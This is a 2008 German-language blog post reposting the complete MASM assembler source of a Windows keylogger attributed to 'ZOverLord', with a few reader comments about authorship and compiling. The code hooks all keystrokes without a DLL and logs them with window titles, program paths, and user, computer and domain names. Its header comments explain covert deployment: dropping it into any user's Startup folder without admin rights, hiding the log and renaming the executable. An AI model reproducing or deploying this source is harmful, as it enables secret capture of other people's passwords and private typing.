Freitag, 13. Juni 2008

Keylogger in Assembler

Ein Keylogger in Assembler? Geht nicht? Geht doch! Sogar ohne die Benutzung von DLLs. Der Assembler-Keylogger ist nicht fertig kompliert. Der Keylogger in Assembler wird ist hier nur im Quelltext verfügbar, da es sich hier nur um ein Studie, respektive Proof Of The Concept handelt.

Der Keylogger ist kompiliert nur 4096 Bytes gross - also lediglich 4K. Der Keylogger kann auch via Shortcut ausgeschalten werden. Der Quelltext wurde von ZOverLord erstellt - all kudos to him :-)

Keylogger Quelltext (Assembler)

Download Code!

  1.  
  2. *******************************************************************************************
  3. ;                            (BEST Viewed with NOTEPAD)
  4. ; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
  5. ;
  6. ; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com
  7. ;
  8. ; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook
  9. ;            This Program is for Educational Proof Of Concept Use ONLY!
  10. ;
  11. ; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks
  12. ; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration
  13. ; this proof of concept was created. Log Items include:
  14. ;
  15. ; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name
  16. ; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL
  17. ; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in
  18. ; the startup folder of any user, or for all users.
  19. ;
  20. ; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this
  21. ; can be done automatically by simply placing the program in the:
  22. ;
  23. ; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder
  24. ;
  25. ; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt
  26. ;    ("You can change the File to Hidden if needed")
  27. ;
  28. ; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off
  29. ;
  30. ; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level.
  31. ;
  32. ; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt
  33. ;
  34. ;*******************************************************************************************
  35. .386
  36. .model flat, stdcall
  37. option casemap:none
  38.  
  39. include \masm32\include\windows.inc
  40. include \masm32\include\kernel32.inc
  41. include \masm32\include\user32.inc
  42. include \masm32\include\advapi32.inc
  43. include msvcrt.inc
  44.  
  45. includelib \masm32\lib\user32.lib
  46. includelib \masm32\lib\kernel32.lib
  47. includelib \masm32\lib\advapi32.lib
  48. includelib msvcrt.lib
  49.  
  50. pushz   macro szText:VARARG
  51.         local   nexti
  52.         call    nexti
  53.         db      szText,00h
  54. nexti:
  55. endm
  56.  
  57. .data
  58.  
  59. CopyRight               db              "CopyRight 2005, ZOverLords@Yahoo.com"
  60. Vist                    db              "http://testing.OnlyTheRightAnswers.com  "
  61.  
  62. hBuffer                 dd              ?
  63. hComputerName           db              32  dup(0)
  64. hCurrentThreadPiD       dd              0
  65. hCurrentWindow          dd              0
  66. hDateFormat             db              "dd MMM yyyy", 0
  67. hDomaineName            db              128 dup(0)
  68. hFile                   dd              0
  69. hHook                   dd              0
  70. hmodul                  MODULEENTRY32   <>
  71. hSnapShot               dd              0
  72. hTimeFormat             db              "hh:mm:ss tt", 0       
  73. hUserName               db              32  dup(0)
  74. msg                     MSG             <>
  75. onlyOneCopy             db              "Global\zkl",0
  76.  
  77. .code
  78.  
  79. main:
  80.         push    offset onlyOneCopy      ; check to make sure we are the only copy
  81.         push    0                       ; of this program running for this user
  82.         push    0                       ; for fast user switching we can still have
  83.         call    CreateMutexA            ; one copy per user running with this check                    
  84.         call    GetLastError            ; but if this user is running one already. we exit
  85.         cmp     eax,ERROR_ALREADY_EXISTS
  86.         je      more_than_one_copy    
  87.  
  88.         xor     ebx, ebx                ; Zero Out ebx
  89.  
  90.         push    VK_F11          ; this will switch logger off using CTRL+ALT+F11 together
  91.         push    MOD_CONTROL or MOD_ALT
  92.         push    0badfaceh               ; name of register key -> "0BADFACE"
  93.         push    ebx                     ;
  94.         call    RegisterHotKey          ; we got a new hot key
  95.  
  96.         pushz   "ab"                    ; append in binary mode
  97.         pushz   "ZKeyLog.txt"           ; name of log file
  98.         call    fopen                   ; open the log file
  99.         add     esp, 2*4                ; all c lib functions need fixup..
  100.         mov     [hFile], eax            ; save our file number
  101.  
  102.         push    ebx
  103.         call    GetModuleHandleA        ; get our module handle for setting the hook
  104.        
  105.         push    ebx                     ; register our keyboard hook proc and start hooking
  106.         push    eax
  107.         push    offset KeyBoardProc     ; where our hook proc is located
  108.         push    WH_KEYBOARD_LL          ; low level key logger WH_KEYBOARD_LL = 13
  109.         call    SetWindowsHookExA       ; Look MOM no DLL Needed <img src="/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" />
  110.         mov     [hHook], eax            ; ok here is our hook handle for later
  111.  
  112.         push    ebx                     ; We Need to check for messages like our
  113.         push    ebx                     ; hot key, so we can close when we get it
  114.         push    ebx
  115.         push    offset msg              ; it will be in the message struct
  116.         call    GetMessageA             ; wait for a message
  117.        
  118.         push    [hHook]                 ; we got the hot key, lets close up house      
  119.         call    UnhookWindowsHookEx     ; make sure we unhook things to be nice
  120.  
  121.         push    [hFile]                 ; close our logfile before we stop
  122.         call    fclose
  123.         add     esp, 04
  124.  
  125. more_than_one_copy:
  126.  
  127.         push    eax                     ; call stop and lets go away
  128.         call    ExitProcess
  129.  
  130. ;##############################################################
  131.  
  132. KeyBoardProc    PROC    nCode:DWORD, wParam:DWORD, lParam:DWORD
  133.         LOCAL   lpKeyState[256] :BYTE
  134.         LOCAL   lpClassName[64] :BYTE
  135.         LOCAL   lpCharBuf[32]   :BYTE
  136.         LOCAL   lpDateBuf[12]   :BYTE
  137.         LOCAL   lpTimeBuf[12]   :BYTE
  138.         LOCAL   lpLocalTime     :SYSTEMTIME
  139.         ;----------------------------
  140.  
  141.         lea     edi, [lpKeyState]       ; lets zero out our buffers
  142.         push    256/4
  143.         pop     ecx
  144.         xor     eax, eax
  145.         rep     stosd                   ; sets us up for doubleword from EAX
  146.  
  147.         mov     eax, wParam
  148.         cmp     eax, WM_KEYUP           ; only need WM_KEYDOWN
  149.         je      next_hook                       ; bypass double logging
  150.        
  151.         cmp     eax, WM_SYSKEYUP        ; only Need WM_SYSKEYDOWN
  152.         je      next_hook                       ; bypass double logging
  153.  
  154.         call    GetForegroundWindow     ; get handle for currently used window ( specific to NT and after )
  155.         cmp     [hCurrentWindow], eax   ; if its not different to last one saved..
  156.         je      no_window_change                ; bypass all the headings
  157.  
  158.         mov     [hCurrentWindow], eax   ; save it for use now and compare later
  159.  
  160.         push    64                      ; get the class name
  161.         lea     esi, [lpClassName]
  162.         push    esi
  163.         push    [hCurrentWindow]
  164.         call    GetClassName
  165.  
  166.         lea     esi, [lpLocalTime]      ; invoke GetLocalTime, ADDR LocalTime
  167.         push    esi
  168.         call    GetLocalTime
  169.  
  170.         push    12                      ; invoke GetDateFormat, NULL, NULL \
  171.         lea     esi, [lpDateBuf]
  172.         push    esi                     ; ADDR lpLocalTime, ADDR hDateFormat  \
  173.         lea     esi, [hDateFormat]
  174.         push    esi                     ; ADDR lpDateBuf, Size of 12
  175.         lea     esi, [lpLocalTime]
  176.         push    esi
  177.         push    0
  178.         push    0
  179.         call    GetDateFormat           ; format the date
  180.  
  181.         push    12                      ; invoke GetTimeFormat, NULL, NULL \
  182.         lea     esi, [lpTimeBuf]
  183.         push    esi                     ; ADDR lpLocalTime, ADDR hTimeFormat  \
  184.         lea     esi, [hTimeFormat]
  185.         push    esi                     ; ADDR lpTimeBuf, Size of 12
  186.         lea     esi, [lpLocalTime]
  187.         push    esi
  188.         push    0
  189.         push    0
  190.         call    GetTimeFormat           ; format the time
  191.  
  192.         lea     esi, [hCurrentThreadPiD]        ; get the processid that sent the key
  193.         push    esi                             ; using the HWND we got earlier from
  194.         mov     eax, [hCurrentWindow]           ; our GetForegroundWindow call         
  195.         push    eax                             ; we need it to get the program exe name                               
  196.         call    GetWindowThreadProcessId
  197.  
  198.         mov     ebx, hCurrentThreadPiD          ; remember we are NOT using a DLL so.....
  199.         push    ebx                             ; we need to use ToolHelp procs to get
  200.         push    TH32CS_SNAPMODULE               ; the program exe name of who sent us
  201.         call    CreateToolhelp32Snapshot        ; this key  
  202.         mov     hSnapShot,eax                   ; save the ToolHelp Handle to close later
  203.  
  204.         mov     hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
  205.        
  206.         push    offset hmodul           ; first Module is always module for process
  207.         mov     eax, [hSnapShot]        ; so safe to assume that the exe file name here
  208.         push    eax                     ; will always be the right one for us
  209.         call    Module32First
  210.  
  211.         mov     eax, [hSnapShot]        ; we are done with ToolHelp so we need
  212.         push    eax                     ; to tell it we wish to close
  213.         call    CloseHandle
  214.    
  215.         push    256                     ; find the window title text
  216.         lea     esi, [lpKeyState]       ; use lpKeyState it's not being used yet so
  217.         push    esi
  218.         mov     eax, [hCurrentWindow]   ; using the HWND we got from GetForegroundWindow
  219.         push    eax
  220.         call    GetWindowText
  221.  
  222.         push    offset hmodul.szExePath
  223.         lea     esi, [lpTimeBuf]        ; print the formatted time     
  224.         push    esi
  225.         lea     esi, [lpDateBuf]        ; print the formatted date
  226.         push    esi
  227.         pushz   13,10,"[%s, %s - Program:%s]",13,10
  228.         push    [hFile]                
  229.         call    fprintf                 ; write the buffer to cache
  230.         add     esp, 3*4
  231.  
  232.         lea     esi, [lpClassName]      ; print the Window Class Name
  233.         push    esi
  234.         lea     esi, [lpKeyState]       ; print the Window Title       
  235.         push    esi
  236.         pushz   13,10,"[       Window Title:%s - Window Class:%s]",13,10
  237.         push    [hFile]                
  238.         call    fprintf                 ; write the buffer to cache
  239.         add     esp, 3*4
  240.  
  241.         mov     hBuffer, 128            ; get the current domain name
  242.         push    offset hBuffer
  243.         push    offset hDomaineName
  244.         push    1
  245.         call    GetComputerNameExA
  246.  
  247.         mov     hBuffer, 32             ; get the current computer name
  248.         push    offset hBuffer
  249.         push    offset hComputerName
  250.         push    0
  251.         call    GetComputerNameExA
  252.  
  253.         mov     hBuffer, 32             ; get the current user name
  254.         push    offset hBuffer
  255.         push    offset hUserName
  256.         call    GetUserNameA
  257.  
  258.         push    offset hUserName        ; print the user name
  259.         push    offset hComputerName    ; print the computer name
  260.         push    offset hDomaineName     ; print the domain name
  261.         pushz   "[       Domain:%s - Computer:%s - User:%s]",13,10
  262.         push    [hFile]
  263.         call    fprintf                 ; write to cache
  264.         add     esp, 3*4
  265.        
  266.         push    [hFile]
  267.         call    fflush                  ; flush data buffer to disk..
  268.         add     esp, 4
  269.  
  270. no_window_change:      
  271.         mov     esi, [lParam]           ; we don't want to print shift or capslock names.
  272.         lodsd                           ; it just makes the logs easier to read without them.
  273.         cmp     al, VK_LSHIFT           ; they are tested later when distinguishing between
  274.         je      next_hook               ; bypass left shift Key for upper/lowercase characters
  275.         cmp     al, VK_RSHIFT
  276.         je      next_hook               ; bypass right shift Key
  277.         cmp     al, VK_CAPITAL
  278.         je      next_hook               ; bypass caps lock Key
  279.         cmp     al, VK_ESCAPE            
  280.         je      get_name_of_key         ; we Want escape characters
  281.         cmp     al, VK_BACK
  282.         je      get_name_of_key         ; we want backspace key
  283.         cmp     al, VK_TAB                       
  284.         je      get_name_of_key         ; we want tab key
  285.         ;------------------
  286.         lea     edi, [lpCharBuf]        ; zero initialise buffer for key text
  287.         push    32/4
  288.         pop     ecx
  289.         xor     eax, eax
  290.         rep     stosd
  291.         ;----------
  292.         lea     ebx, [lpKeyState]
  293.         push    ebx
  294.         call    GetKeyboardState                ; get current keyboard state
  295.  
  296.         push    VK_LSHIFT                       ; test if left shift key held down
  297.         call    GetKeyState
  298.         xchg    esi, eax                        ; save result in esi
  299.        
  300.         push    VK_RSHIFT                       ; test right..
  301.         call    GetKeyState
  302.         or      eax, esi                        ; al == 1 if either key is DOWN
  303.        
  304.         mov     byte ptr [ebx + 16], al         ; toggle a shift key to on/off
  305.        
  306.         push    VK_CAPITAL
  307.         call    GetKeyState                     ; returns TRUE if caps lock is on      
  308.         mov     byte ptr [ebx + 20], al         ; toggle caps lock to on/off
  309.  
  310.         mov     esi, [lParam]
  311.         lea     edi, [lpCharBuf]
  312.         push    00h
  313.         push    edi                             ; buffer for ascii characters
  314.         push    ebx                             ; keyboard state
  315.         lodsd
  316.         xchg    eax, edx
  317.         lodsd
  318.         push    eax                             ; hardware scan code
  319.         push    edx                             ; virutal key code
  320.         call    ToAscii                         ; convert to human readable characters
  321.         test    eax, eax                        ; if return zero, continue
  322.         jnz     test_carriage_return            ; else, write to file.
  323.  
  324. get_name_of_key:                        ; no need for large table of pointers to get asciiz
  325.         mov     esi, [lParam]
  326.         lodsd                           ; skip virtual key code
  327.         lodsd                           ; eax = scancode
  328.         shl     eax, 16
  329.         xchg    eax, ecx
  330.         lodsd                           ; extended key info
  331.         shl     eax, 24
  332.         or      ecx, eax
  333.  
  334.         push    32
  335.         lea     edi, [lpCharBuf]
  336.         push    edi
  337.         push    ecx
  338.         call    GetKeyNameTextA         ; get the key text
  339.  
  340.         push    edi
  341.         pushz   "[%s]"                  ; print the special key text
  342.         jmp     write_to_file
  343.  
  344. test_carriage_return:
  345.         push    edi
  346.         pushz   "%s"                    ; print regular keys
  347.  
  348.         cmp     byte ptr [edi], 0dh     ; carriage return?
  349.         jne     write_to_file
  350.  
  351.         mov     byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
  352. write_to_file:
  353.         push    [hFile]                 ; where we write to the log file
  354.         call    fprintf
  355.         add     esp, 2*4
  356. next_hook:
  357.         push    [lParam]                ; reply for possible other hooks waiting
  358.         push    [wParam]
  359.         push    [nCode]
  360.         push    [hHook]
  361.         call    CallNextHookEx
  362.         ret
  363. KeyBoardProc    ENDP
  364.  
  365. end     main

PS. Man braucht MASM zum komplieren.

Bewertung: 2.80 von 5, 5 Stimme(n) 2531 Klicks
Low-Level
Von Mr.Foo in Low-Level am 13.06.08@22:35 Uhr

Trackbacks
Trackback für spezifische URI dieses Eintrags

Keine Trackbacks

6 Kommentare
Ansicht der Kommentare: (Linear | Verschachtelt)

bozo - #1 - 24.10.2008 05:16 - (Antwort)

This is a keylogger stolen from 29a#8 - this guy calling himself ZOverLord did not write it!!

Mr. Foo - #1.1 - 24.10.2008 15:09 - (Antwort)

Hi bonzo,

I checked the 8th mag from 29a and I didn't find this keylogger. Where is it written?

imran - #2 - 18.06.2009 14:42 - (Antwort)

Hi, how can i assemble this code

or which assembler i need to make its .exe

Thanx

Mr. Foo - #2.1 - 18.06.2009 16:43 - (Antwort)

I think you can use MASM (Microsoft Macro Assembler) for that.

Saparmyrat - #3 - 28.04.2010 12:11 - (Antwort)

this keylogger not compiled. have error

Mr. Foo - #3.1 - 28.04.2010 19:08 - (Antwort)

Hi,
I did not compiled it yet, plus its not my code. So I can't help you - sorry :/


Kommentar schreiben

Umschließende Sterne heben ein Wort hervor (*wort*), per _wort_ kann ein Wort unterstrichen werden.
Standard-Text Smilies wie :-) und ;-) werden zu Bildern konvertiert.
Die angegebene E-Mail-Adresse wird nicht dargestellt, sondern nur für eventuelle Benachrichtigungen verwendet.
Sie können [geshi lang=LANG][/lang] Tags verwenden um Quellcode abhängig von der gewählten Programmiersprache einzubinden
 
 

Mr. Foo

Keylogger in Assembler

  • Homepage

Suche

Kategorien

  • C-Sharp (4)
  • Datenbank (28)
  • Delphi (2)
  • Entwicklung (36)
  • Flash (5)
  • Games (10)
  • Gutscheine (4)
  • Hardware (14)
  • HTML CSS (15)
  • Internet (87)
  • Java (32)
  • Javascript (24)
  • Linkdump (9)
  • Linux (96)
  • Low-Level (10)
  • Lua (8)
  • Musik (9)
  • Netzwerk (25)
  • New World Order (109)
  • Perl (3)
  • PHP (123)
  • Magento (5)
  • Symfony (3)
  • Zend Framework (7)
  • Probleme und Lösungen (26)
  • Python (22)
  • Ressourcen (23)
  • Sicherheit (91)
  • Software (58)
  • Sonstiges (45)
  • Own Stuff (46)
  • Spass (45)
  • Technik / Wissenschaft (4)
  • Tips (15)
  • Weisheiten (16)
  • Windows (23)
  • Wort des Tages (15)


Alle Kategorien

Archive

  • Februar 2012
  • Januar 2012
  • Dezember 2011
  • Das Neueste ...
  • Älteres ...

Abonnieren lohnt sich!

  • XML RSS 2.0 feed
  • ATOM/XML ATOM 1.0 feed
  • XML RSS 2.0 Kommentare

Tagcloud

Datenbank Entwicklung Internet Java Javascript Linux Lösung Netzwerk News New World Order PHP Problem Probleme und Lösungen Sicherheit Software Sonstiges Spass Tipp Update Windows

Beliebte Einträge

  • Magento ist scheisse (188)
  • Plugin-container.exe deaktivieren (101)
  • C compiler cannot create executables unter Debian (53)
  • BWin Betrug und Abzocke bei Minigames? (49)
  • Scheiss Linux - USB-Platte viel zu langsam (wenns mal funktioniert) (41)
  • Sicheres Kontaktformular mit PHP - Spam verhindern (37)
  • Es konnte keine TCP/IP-Verbindung mit dem Host hergestellt werden (26)
  • UML-Diagramme aus Java-Klassen generieren – Java2UML (25)
  • Option Bug im Internet Explorer bei Nutzung von innerHTML und Javascript (24)
  • Zend Studio - Javaw.exe lastet die CPU aus (24)

Kommentare

sandi zu Plugin-container.exe deaktivieren
Mo, 06.02.2012 11:10
Leider hat es nicht geklappt. Jetz [...]
Frank zu Magento ist scheisse
So, 05.02.2012 21:58
Seit etwa 6 Monaten bin ich auf de [...]
hansie zu Canon Blink Codes
Sa, 04.02.2012 19:49
Hallo, mein Canon Drucker MP 630 [...]
Bachsau zu Scheiss Linux - USB-Platte viel zu langsam (wenns mal funktioniert)
Mi, 01.02.2012 22:54
Bei Linux machen die Kernel-Entwic [...]
Mr. Foo zu Scheiss Linux - USB-Platte viel zu langsam (wenns mal funktioniert)
Mi, 01.02.2012 21:47
Also so kurz mal probiert hab ich [...]
 

Kontakt/Informationen